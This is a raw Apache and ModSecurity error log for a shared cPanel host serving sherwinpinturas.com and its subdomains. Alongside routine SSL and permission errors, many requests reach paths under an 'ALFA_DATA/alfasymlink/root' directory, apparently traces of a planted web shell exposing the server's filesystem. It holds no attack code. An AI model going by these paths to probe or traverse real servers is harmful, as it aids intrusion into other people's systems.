[Tue Oct 27 13:37:10.966605 2026] [authz_core:error] [pid 3274468:tid 3274468] [client 216.73.217.51:22074] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/betaok/PHPMailer/src/error_log
[Tue Oct 27 13:37:12.143355 2026] [ssl:error] [pid 3268454:tid 3268454] (70014)End of file found: [client 98.82.59.253:39538] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:37:16.597221 2026] [ssl:error] [pid 3274706:tid 3274706] (70014)End of file found: [client 3.218.103.254:62715] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:37:19.777046 2026] [ssl:error] [pid 3274721:tid 3274721] (70014)End of file found: [client 18.207.89.138:49570] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:37:27.786366 2026] [ssl:error] [pid 3274721:tid 3274721] (70014)End of file found: [client 185.191.171.1:43292] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:37:29.080038 2026] [core:error] [pid 3274572:tid 3274572] (13)Permission denied: [client 185.191.171.5:14932] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/dmi/id/product_uuid
[Tue Oct 27 13:37:43.801829 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 3.210.223.61:60029] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:37:51.385505 2026] [security2:error] [pid 3274673:tid 3274673] [client 216.73.217.51:2917] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/basic-ftp/"] [unique_id "auDhb9F8cvqdqDi3HryIAQAAAB0"]
[Tue Oct 27 13:37:51.385563 2026] [security2:error] [pid 3274673:tid 3274673] [client 216.73.217.51:2917] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/basic-ftp/"] [unique_id "auDhb9F8cvqdqDi3HryIAQAAAB0"]
[Tue Oct 27 13:38:05.923643 2026] [security2:error] [pid 3274572:tid 3274572] [client 216.73.217.51:49426] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/tslib/"] [unique_id "auDhfZhAJ2_LLoHRXr8LrAAAAA8"]
[Tue Oct 27 13:38:05.923692 2026] [security2:error] [pid 3274572:tid 3274572] [client 216.73.217.51:49426] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/tslib/"] [unique_id "auDhfZhAJ2_LLoHRXr8LrAAAAA8"]
[Tue Oct 27 13:38:11.949179 2026] [ssl:error] [pid 3274346:tid 3274346] (70014)End of file found: [client 35.171.117.160:62005] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:38:21.630181 2026] [ssl:error] [pid 3274800:tid 3274800] (5)Input/output error: [client 54.197.102.71:60281] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:38:24.260407 2026] [ssl:error] [pid 3274809:tid 3274809] (70014)End of file found: [client 52.204.89.12:45516] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:38:26.856431 2026] [security2:error] [pid 3270132:tid 3270132] [client 107.172.76.131:61422] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDhhM12Z0h54eBnbA_oDQAAAAQ"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 13:38:26.856487 2026] [security2:error] [pid 3270132:tid 3270132] [client 107.172.76.131:61422] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDhhM12Z0h54eBnbA_oDQAAAAQ"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 13:38:27.755121 2026] [ssl:error] [pid 3274809:tid 3274809] (70014)End of file found: [client 3.221.244.28:38081] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:38:29.027586 2026] [security2:error] [pid 3274809:tid 3274809] [client 185.191.171.19:48356] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/python3.12/asyncio/transports.py"] [unique_id "auDhlIlI1CxNjDdm3T9OwQAAABo"]
[Tue Oct 27 13:38:29.027633 2026] [security2:error] [pid 3274809:tid 3274809] [client 185.191.171.19:48356] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/python3.12/asyncio/transports.py"] [unique_id "auDhlIlI1CxNjDdm3T9OwQAAABo"]
[Tue Oct 27 13:38:29.601373 2026] [security2:error] [pid 3274798:tid 3274798] [client 64.20.54.226:44824] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "busca1.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/HI586B96YNRMKPPMSMODHQQPVANND0I3"] [unique_id "auDhlX2YESNXvD6xqdeaQgAAAAo"]
[Tue Oct 27 13:38:29.601418 2026] [security2:error] [pid 3274798:tid 3274798] [client 64.20.54.226:44824] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "busca1.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/HI586B96YNRMKPPMSMODHQQPVANND0I3"] [unique_id "auDhlX2YESNXvD6xqdeaQgAAAAo"]
[Tue Oct 27 13:38:31.784687 2026] [core:error] [pid 3274608:tid 3274608] (13)Permission denied: [client 52.6.97.88:45165] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0303:00/physical_node/firmware_node/physical_node1/driver/uevent
[Tue Oct 27 13:38:39.815506 2026] [core:error] [pid 3274800:tid 3274800] (13)Permission denied: [client 50.17.193.48:63907] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/QEMU0002:00/driver/bind
[Tue Oct 27 13:38:47.758066 2026] [ssl:error] [pid 3274723:tid 3274723] (70014)End of file found: [client 54.86.59.155:2522] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:38:55.816882 2026] [ssl:error] [pid 3274706:tid 3274706] (70014)End of file found: [client 34.194.226.74:60338] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:39:08.014983 2026] [ssl:error] [pid 3274800:tid 3274800] (70014)End of file found: [client 18.208.11.93:7661] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:39:12.026265 2026] [ssl:error] [pid 3274864:tid 3274864] (70014)End of file found: [client 54.163.169.168:28950] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:39:15.194416 2026] [ssl:error] [pid 3274864:tid 3274864] (70014)End of file found: [client 185.191.171.13:44208] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:39:15.985175 2026] [ssl:error] [pid 3274866:tid 3274866] (70014)End of file found: [client 35.171.141.42:24271] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:39:24.209432 2026] [ssl:error] [pid 3274881:tid 3274881] (70014)End of file found: [client 107.23.62.75:49440] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:39:39.344202 2026] [security2:error] [pid 3274864:tid 3274864] [client 216.73.217.51:11400] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/server/"] [unique_id "auDh239zdzLUNDzV0h4V2AAAAAc"]
[Tue Oct 27 13:39:39.344251 2026] [security2:error] [pid 3274864:tid 3274864] [client 216.73.217.51:11400] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/server/"] [unique_id "auDh239zdzLUNDzV0h4V2AAAAAc"]
[Tue Oct 27 13:39:39.889493 2026] [ssl:error] [pid 3274807:tid 3274807] (70014)End of file found: [client 18.205.127.11:50438] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:39:47.816277 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 18.213.27.222:36745] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:39:50.371542 2026] [core:error] [pid 3274607:tid 3274607] (13)Permission denied: [client 85.208.96.196:19842] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/total_objects
[Tue Oct 27 13:39:51.786907 2026] [ssl:error] [pid 3274862:tid 3274862] (70014)End of file found: [client 35.169.102.85:48548] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:39:52.896956 2026] [authz_core:error] [pid 3274573:tid 3274573] [client 195.178.110.50:35968] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 13:40:00.057300 2026] [ssl:error] [pid 3274880:tid 3274880] (70014)End of file found: [client 3.81.253.213:39957] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:40:04.016576 2026] [ssl:error] [pid 3274346:tid 3274346] (70014)End of file found: [client 3.93.211.16:39532] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:40:07.791482 2026] [ssl:error] [pid 3274807:tid 3274807] (70014)End of file found: [client 3.212.86.97:50419] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:40:11.102492 2026] [security2:error] [pid 3274723:tid 3274723] [client 216.73.217.51:6509] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/whatwg-url/"] [unique_id "auDh--9LM8YnvVbAAtlaRAAAABU"]
[Tue Oct 27 13:40:11.102562 2026] [security2:error] [pid 3274723:tid 3274723] [client 216.73.217.51:6509] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/whatwg-url/"] [unique_id "auDh--9LM8YnvVbAAtlaRAAAABU"]
[Tue Oct 27 13:40:11.844436 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 34.194.95.99:29849] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:40:12.498314 2026] [authz_core:error] [pid 3274862:tid 3274862] [client 216.73.217.51:24888] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 13:40:16.108047 2026] [ssl:error] [pid 3274807:tid 3274807] (70014)End of file found: [client 3.227.180.70:30169] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:40:20.476731 2026] [core:error] [pid 3274800:tid 3274800] (13)Permission denied: [client 44.195.50.71:36824] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/uhci_hcd/0000:00:01.2/usb1/driver/bind
[Tue Oct 27 13:40:22.070263 2026] [authz_core:error] [pid 3274606:tid 3274606] [client 216.73.217.51:37120] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 13:40:22.137554 2026] [authz_core:error] [pid 3274606:tid 3274606] [client 216.73.217.51:37120] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 13:40:22.250334 2026] [authz_core:error] [pid 3274606:tid 3274606] [client 216.73.217.51:37120] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 13:40:22.373055 2026] [authz_core:error] [pid 3274953:tid 3274953] [client 216.73.217.51:58625] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 13:40:22.853641 2026] [authz_core:error] [pid 3274953:tid 3274953] [client 216.73.217.51:58625] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 13:40:23.660091 2026] [authz_core:error] [pid 3274954:tid 3274954] [client 216.73.217.51:29640] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 13:40:23.812468 2026] [authz_core:error] [pid 3274954:tid 3274954] [client 216.73.217.51:29640] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 13:40:23.995787 2026] [authz_core:error] [pid 3274954:tid 3274954] [client 216.73.217.51:29640] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 13:40:24.577606 2026] [authz_core:error] [pid 3274954:tid 3274954] [client 216.73.217.51:29640] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 13:40:24.705503 2026] [authz_core:error] [pid 3274954:tid 3274954] [client 216.73.217.51:29640] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 13:40:24.797729 2026] [security2:error] [pid 3274954:tid 3274954] [client 216.73.217.51:29640] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/busca1/"] [unique_id "auDiCJINvLjD_VeFzXTeygAAAAI"]
[Tue Oct 27 13:40:24.797786 2026] [security2:error] [pid 3274954:tid 3274954] [client 216.73.217.51:29640] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/busca1/"] [unique_id "auDiCJINvLjD_VeFzXTeygAAAAI"]
[Tue Oct 27 13:40:24.897673 2026] [authz_core:error] [pid 3274954:tid 3274954] [client 216.73.217.51:29640] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 13:40:28.002820 2026] [ssl:error] [pid 3274868:tid 3274868] (70014)End of file found: [client 34.225.87.80:59629] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:40:31.910727 2026] [ssl:error] [pid 3274862:tid 3274862] (70014)End of file found: [client 3.94.199.128:57356] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:40:35.835323 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 3.225.9.97:64473] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:40:40.038981 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 3.216.13.10:35693] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:40:43.836647 2026] [ssl:error] [pid 3274862:tid 3274862] (70014)End of file found: [client 54.157.99.244:21981] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:40:47.750205 2026] [ssl:error] [pid 3274958:tid 3274958] (70014)End of file found: [client 3.221.244.28:14857] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:40:55.985286 2026] [ssl:error] [pid 3274868:tid 3274868] (70014)End of file found: [client 34.231.45.47:13144] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:40:59.952096 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 52.200.58.199:60749] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:41:16.322995 2026] [ssl:error] [pid 3274864:tid 3274864] (70014)End of file found: [client 35.173.18.61:34587] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:41:27.823966 2026] [ssl:error] [pid 3274807:tid 3274807] (70014)End of file found: [client 44.221.227.90:53871] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:41:43.811037 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 52.203.237.170:24361] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:41:52.117408 2026] [ssl:error] [pid 3274723:tid 3274723] (70014)End of file found: [client 34.231.118.144:24674] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:41:55.848530 2026] [ssl:error] [pid 3274606:tid 3274606] (5)Input/output error: [client 100.29.160.53:28514] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:41:59.837964 2026] [ssl:error] [pid 3274868:tid 3274868] (70014)End of file found: [client 18.205.91.101:57978] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:42:01.503080 2026] [security2:error] [pid 3265870:tid 3265870] [client 107.172.76.131:61419] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDiXBPIAz20_HBUJWdYhQAAAAw"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 13:42:01.503144 2026] [security2:error] [pid 3265870:tid 3265870] [client 107.172.76.131:61419] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDiXBPIAz20_HBUJWdYhQAAAAw"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 13:42:16.006797 2026] [ssl:error] [pid 3274864:tid 3274864] (70014)End of file found: [client 44.221.37.41:4512] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:42:19.841827 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 34.234.197.175:26033] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:42:32.258464 2026] [core:error] [pid 3274862:tid 3274862] (13)Permission denied: [client 18.215.49.176:27705] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/tty/ttyS0/flags
[Tue Oct 27 13:42:35.978685 2026] [ssl:error] [pid 3274606:tid 3274606] (70014)End of file found: [client 52.204.174.139:41705] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:42:39.799623 2026] [ssl:error] [pid 3274958:tid 3274958] (70014)End of file found: [client 23.23.214.190:1380] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:42:44.078593 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 100.25.120.246:8275] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:42:48.094024 2026] [security2:error] [pid 3274868:tid 3274868] [client 43.130.3.122:42536] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auDimOevdkpb9NpkV1gtPwAAABc"]
[Tue Oct 27 13:42:48.095371 2026] [authz_core:error] [pid 3274868:tid 3274868] [client 43.130.3.122:42536] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 13:42:51.915527 2026] [ssl:error] [pid 3274346:tid 3274346] (70014)End of file found: [client 3.212.219.113:14637] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:42:52.016122 2026] [security2:error] [pid 3268402:tid 3268402] [client 107.172.76.131:61413] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDij1kSJh9YctB3ycD1XQAAACw"], referer: https://clic2.sherwinpinturas.com//beta.php
[Tue Oct 27 13:42:52.016179 2026] [security2:error] [pid 3268402:tid 3268402] [client 107.172.76.131:61413] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDij1kSJh9YctB3ycD1XQAAACw"], referer: https://clic2.sherwinpinturas.com//beta.php
[Tue Oct 27 13:43:04.638182 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 52.71.216.196:6447] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:43:20.058359 2026] [ssl:error] [pid 3274807:tid 3274807] (70014)End of file found: [client 44.194.134.53:24321] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:43:32.060005 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 54.225.199.17:57571] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:43:44.019912 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 54.90.244.132:51289] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:43:52.010858 2026] [ssl:error] [pid 3274878:tid 3274878] (70014)End of file found: [client 34.231.118.144:50066] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:43:55.814729 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 100.28.57.133:57393] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:44:03.923469 2026] [ssl:error] [pid 3274800:tid 3274800] (70014)End of file found: [client 44.223.193.255:35805] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:44:07.991028 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 18.205.127.11:37767] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:44:31.790429 2026] [ssl:error] [pid 3274862:tid 3274862] (70014)End of file found: [client 34.227.234.246:22104] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:44:36.073317 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 50.16.72.185:16665] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:44:40.458691 2026] [ssl:error] [pid 3274800:tid 3274800] (70014)End of file found: [client 18.208.11.93:10365] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:44:43.810811 2026] [ssl:error] [pid 3274706:tid 3274706] (70014)End of file found: [client 54.197.114.76:46168] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:44:52.064649 2026] [core:error] [pid 3268403:tid 3268403] (13)Permission denied: [client 54.147.238.89:43001] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory4/node0/memory5/subsystem/drivers_probe
[Tue Oct 27 13:45:04.054089 2026] [core:error] [pid 3274862:tid 3274862] (13)Permission denied: [client 100.29.128.75:10773] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory22/node0/memory10/node0/cpu1/firmware_node/physical_node/firmware_node/subsystem/drivers/pvpanic/uevent
[Tue Oct 27 13:45:12.088580 2026] [ssl:error] [pid 3268403:tid 3268403] (70014)End of file found: [client 54.83.56.1:31943] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:45:15.900494 2026] [ssl:error] [pid 3274800:tid 3274800] (5)Input/output error: [client 184.73.35.182:6204] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:45:19.785951 2026] [ssl:error] [pid 3274878:tid 3274878] (70014)End of file found: [client 44.214.19.8:61446] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:45:31.964151 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 54.243.63.52:43271] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:45:35.830317 2026] [ssl:error] [pid 3274878:tid 3274878] (70014)End of file found: [client 23.21.179.27:19264] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:45:44.003932 2026] [security2:error] [pid 3274723:tid 3274723] [client 54.235.191.179:35696] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:01/wakeup/wakeup1/device/"] [unique_id "auDjR-9LM8YnvVbAAtlaTQAAABU"]
[Tue Oct 27 13:45:44.003979 2026] [security2:error] [pid 3274723:tid 3274723] [client 54.235.191.179:35696] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:01/wakeup/wakeup1/device/"] [unique_id "auDjR-9LM8YnvVbAAtlaTQAAABU"]
[Tue Oct 27 13:45:45.261475 2026] [core:error] [pid 3274572:tid 3274572] (13)Permission denied: [client 85.208.96.199:55156] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/usersize
[Tue Oct 27 13:45:47.781332 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 44.210.204.255:7773] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:45:51.961163 2026] [ssl:error] [pid 3274878:tid 3274878] (70014)End of file found: [client 54.156.124.2:46761] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:45:59.835180 2026] [ssl:error] [pid 3274723:tid 3274723] (70014)End of file found: [client 54.152.163.42:25986] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:46:02.080070 2026] [security2:error] [pid 3274573:tid 3274573] [client 144.172.106.107:55124] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "auDjWiW3MGiB6zjguVRT5wAAABA"]
[Tue Oct 27 13:46:03.965672 2026] [ssl:error] [pid 3274807:tid 3274807] (70014)End of file found: [client 107.22.208.39:23608] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:46:11.962156 2026] [ssl:error] [pid 3274573:tid 3274573] (70014)End of file found: [client 52.200.93.170:36534] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:46:15.788696 2026] [ssl:error] [pid 3274807:tid 3274807] (70014)End of file found: [client 52.200.142.199:54154] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:46:24.085569 2026] [ssl:error] [pid 3274723:tid 3274723] (70014)End of file found: [client 18.213.70.100:45642] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:46:27.823781 2026] [ssl:error] [pid 3274346:tid 3274346] (70014)End of file found: [client 54.204.12.115:63380] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:46:31.795525 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 54.210.155.69:64793] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:46:34.652717 2026] [security2:error] [pid 3274231:tid 3274231] [client 107.172.76.131:61432] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDjbw5mMRwZXBs6K04N0gAAAAs"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 13:46:34.652772 2026] [security2:error] [pid 3274231:tid 3274231] [client 107.172.76.131:61432] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDjbw5mMRwZXBs6K04N0gAAAAs"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 13:46:39.808425 2026] [ssl:error] [pid 3274723:tid 3274723] (70014)End of file found: [client 3.216.13.10:5853] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:46:43.806176 2026] [ssl:error] [pid 3274346:tid 3274346] (70014)End of file found: [client 54.198.33.233:52477] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 13:46:47.298954 2026] [security2:error] [pid 3269335:tid 3269335] [client 107.172.76.131:61418] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDjegbf3KFtuIsifZNJaAAAAAA"], referer: https://clic1.sherwinpinturas.com//beta.php
